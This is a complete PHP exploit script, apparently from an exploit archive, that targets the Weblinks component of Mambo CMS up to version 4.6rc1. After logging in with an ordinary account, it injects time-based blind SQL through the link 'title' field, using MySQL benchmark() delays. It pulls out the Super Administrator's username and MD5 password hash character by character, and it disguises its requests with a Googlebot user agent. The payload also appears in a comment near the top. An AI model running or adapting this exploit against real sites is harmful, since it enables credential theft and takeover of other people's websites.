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Mambo <= 4.6rc1 (Weblinks) Blind SQL Injection Exploit
====================================================== Mambo <= 4.6rc1 (Weblinks) Blind SQL Injection Exploit ====================================================== #!/usr/bin/php -q -d short_open_tag=on <? echo "Mambo <= 4.6rc1 'Weblinks' blind SQL injection / admin credentials\r\n"; echo "disclosure exploit (benchmark() vesion)\r\n"; echo "by rgod rgod@autistici.org\r\n"; echo "site: http://retrogod.altervista.org\r\n"; echo "this is called the Sun-Tzu 'trascendental guru meditation' tecnique\r\n\r\n"; if ($argc<5) { echo "Usage: php ".$argv[0]." host path user pass OPTIONS\r\n"; echo "host: target server (ip/hostname)\r\n"; echo "path: path to Mambo\r\n"; echo "user/pass: you need an account\r\n"; echo "Options:\r\n"; echo " -T[prefix] specify a table prefix different from 'mos_'\r\n"; echo " -p[port]: specify a port other than 80\r\n"; echo " -P[ip:port]: specify a proxy\r\n"; echo "Example:\r\n"; echo "php ".$argv[0]." localhost /mambo/ username password\r\n"; die; } /* explaination: sql injection in "title" argument when you submit a web link, poc: start mysql daemon with log option... >mysqld --log=mambo.txt now login, go to "Submit Weblink" feature, in "Name: " field type: 99999' UNION SELECT IF ((ASCII(SUBSTRING(password,1,1))=0) & 1, benchmark(200000000,CHAR(0)),0) FROM mos_users WHERE usertype='Super Administrator'/* in mambo.txt we have: 13 Query SELECT id FROM mos_weblinks WHERE title='99999' UNION SELECT IF ((ASCII(SUBSTRING(password,1,1))=0) & 1, benchmark(50000000,CHAR(0)),0) FROM mos_users WHERE usertype='Super Administrator'/*' AND catid='2' injection is blind but, as you can see, we can you use time delays through Mysql benchmark() function to ask questions about tables this works regardless of magic_quotes_gpc settings */ error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout",5); function quick_dump($string) { $result='';$exa='';$cont=0; for ($i=0; $i<=strlen($string)-1; $i++) { if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 )) {$result.=" .";} else {$result.=" ".$string[$i];} if (strlen(dechex(ord($string[$i])))==2) {$exa.=" ".dechex(ord($string[$i]));} else {$exa.=" 0".dechex(ord($string[$i]));} $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";} } return $exa."\r\n".$result; } $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') { $ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.$host.':'.$port; die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo 'Not a valid proxy...';die; } $parts=explode(':',$proxy); echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n"; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...';die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); #debug #echo "\r\n".$html; } function is_hash($hash) { if (ereg("^[a-f0-9]{32}",trim($hash))) {return true;} else {return false;} } $host=$argv[1]; $path=$argv[2]; $user=$argv[3]; $pass=$argv[4]; $port=80; $prefix="mos_"; $proxy=""; for ($i=5; $i<=$argc-1; $i++){ $temp=$argv[$i][0].$argv[$i][1]; if ($temp=="-p") { $port=str_replace("-p","",$argv[$i]); } if ($temp=="-P") { $proxy=str_replace("-P","",$argv[$i]); } if ($temp=="-T") { $prefix=str_replace("-T","",$argv[$i]); } } if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} $data ="username=".$user; $data.="&passwd=".$pass; $data.="&remember=yes"; $data.="&option=login"; $data.="&Submit=login"; $data.="&op2=login"; $data.="&lang=english"; $data.="&return=".urlencode("http://".$host.$path); $data.="&message=0"; $packet ="POST ".$p." HTTP/1.0\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Accept: text/plain\r\n"; $packet.="Connection: Close\r\n"; $packet.="Content-Type: application/x-www-form-urlencoded\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n\r\n"; $packet.=$data; sendpacketii($packet); $temp=explode("Set-Cookie: ",$html); $cookie=""; for ($i=1; $i<=count($temp)-1; $i++) { $temp2=explode(" ",$temp[$i]); $cookie.=" ".$temp2[0]; } if ((strstr($cookie,"=+;")) | $cookie=="") {die("Unable to login...");} else { echo "Done...\r\ncookie -> ".$cookie."\r\n"; } $j=1;$admin=""; while (!strstr($admin,chr(0))) { for ($i=0; $i<=255; $i++) { $starttime=time(); $sql="99999' UNION SELECT IF ((ASCII(SUBSTRING(username,".$j.",1))=".$i.") & 1, benchmark(200000000,CHAR(0)),0) FROM ".$prefix."users WHERE usertype='Super Administrator'/*"; echo "\r\n".$sql."\r\n"; $sql=urlencode($sql); $data ="title=".$sql; $data.="&catid=2"; $data.="&url=http://www.google.com"; $data.="&description="; $data.="&id=0"; $data.="&option=com_weblinks"; $data.="&task=save"; $data.="&ordering=0"; $data.="&approved=0"; $data.="&Returnid=0"; $packet ="POST ".$p."index.php HTTP/1.0\r\n"; $packet.="User-Agent: Googlebot/2.1\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Accept: text/plain\r\n"; $packet.="Connection: Close\r\n"; $packet.="Content-Type: application/x-www-form-urlencoded\r\n"; $packet.="Cookie: ".$cookie."\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n\r\n"; $packet.=$data; //debug //echo quick_dump($packet)."\r\n"; sendpacketii($packet); $endtime=time(); echo "endtime -> ".$endtime."\r\n"; $difftime=$endtime - $starttime; echo "difftime -> ".$difftime."\r\n"; if ($difftime > 7) {$admin.=chr($i);echo "admin -> ".$admin."[???]\r\n";sleep(2);break;} //more than seven seconds? we succeed... if ($i==255) {die("Exploit failed...");} } $j++; } $md5s[0]=0;//null $md5s=array_merge($md5s,range(48,57)); //numbers $md5s=array_merge($md5s,range(97,102));//a-f letters //print_r(array_values($md5s)); $j=1;$password=""; while (!strstr($password,chr(0))) { for ($i=0; $i<=255; $i++) { if (in_array($i,$md5s)) { $starttime=time(); $sql="99999' UNION SELECT IF ((ASCII(SUBSTRING(password,".$j.",1))=".$i.") & 1, benchmark(200000000,CHAR(0)),0) FROM ".$prefix."users WHERE usertype='Super Administrator'/*"; echo "\r\n".$sql."\r\n"; $sql=urlencode($sql); $data ="title=".$sql; $data.="&catid=2"; $data.="&url=http://www.google.com"; $data.="&description="; $data.="&id=0"; $data.="&option=com_weblinks"; $data.="&task=save"; $data.="&ordering=0"; $data.="&approved=0"; $data.="&Returnid=0"; $packet ="POST ".$p."index.php HTTP/1.0\r\n"; $packet.="User-Agent: Googlebot/2.1\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Accept: text/plain\r\n"; $packet.="Connection: Close\r\n"; $packet.="Content-Type: application/x-www-form-urlencoded\r\n"; $packet.="Cookie: ".$cookie."\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n\r\n"; $packet.=$data; //debug //echo quick_dump($packet)."\r\n"; sendpacketii($packet); $endtime=time(); echo "endtime -> ".$endtime."\r\n"; $difftime=$endtime - $starttime; echo "difftime -> ".$difftime."\r\n"; if ($difftime > 7) {$password.=chr($i);echo "password -> ".$password."[???]\r\n";sleep(2);break;} } if ($i==255) {die("Exploit failed...");} } $j++; } //if you are here... echo "Exploit succeeded...\r\n"; echo "--------------------------------------------------------------------\r\n"; echo "admin -> ".$admin."\r\n"; echo "password (md5) -> ".$password."\r\n"; echo "--------------------------------------------------------------------\r\n"; ?> # 0day.today [2024-12-25] #